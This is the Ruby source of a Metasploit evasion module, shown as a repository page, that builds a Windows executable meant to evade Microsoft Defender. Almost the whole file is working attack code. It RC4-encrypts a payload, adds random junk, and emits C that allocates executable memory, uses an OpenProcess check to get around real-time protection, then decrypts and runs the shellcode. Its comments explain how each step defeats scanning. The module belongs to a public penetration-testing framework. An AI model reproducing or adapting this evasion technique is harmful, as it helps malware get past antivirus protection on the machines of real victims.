Path: blob/master/modules/evasion/windows/windows_defender_exe.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/compiler/windows'67class MetasploitModule < Msf::Evasion89def initialize(info = {})10super(11merge_info(12info,13'Name' => 'Microsoft Windows Defender Evasive Executable',14'Description' => %q{15This module allows you to generate a Windows EXE that evades against Microsoft16Windows Defender. Multiple techniques such as shellcode encryption, source code17obfuscation, Metasm, and anti-emulation are used to achieve this.1819For best results, please try to use payloads that use a more secure channel20such as HTTPS or RC4 in order to avoid the payload network traffic getting21caught by antivirus better.22},23'Author' => [ 'sinn3r' ],24'License' => MSF_LICENSE,25'Platform' => 'win',26'Arch' => ARCH_X86,27'Targets' => [ ['Microsoft Windows', {}] ]28)29)30end3132def rc4_key33@rc4_key ||= Rex::Text.rand_text_alpha(32..64)34end3536def get_payload37@get_payload ||= lambda {38opts = { format: 'rc4', key: rc4_key }39junk = Rex::Text.rand_text(10..1024)40p = payload.encoded + junk4142return {43size: p.length,44c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts)45}46}.call47end4849def c_template50@c_template ||= %|#include <Windows.h>51#include <rc4.h>5253// The encrypted code allows us to get around static scanning54#{get_payload[:c_format]}5556int main() {57int lpBufSize = sizeof(int) * #{get_payload[:size]};58LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040);59memset(lpBuf, '\\0', lpBufSize);6061HANDLE proc = OpenProcess(0x1F0FFF, false, 4);62// Checking NULL allows us to get around Real-time protection63if (proc == NULL) {64RC4("#{rc4_key}", buf, (char*) lpBuf, #{get_payload[:size]});65void (*func)();66func = (void (*)()) lpBuf;67(void)(*func)();68}6970return 0;71}|72end7374def run75vprint_line c_template76# The randomized code allows us to generate a unique EXE77bin = Metasploit::Framework::Compiler::Windows.compile_random_c(c_template)78print_status("Compiled executable size: #{bin.length}")79file_create(bin)80end8182end838485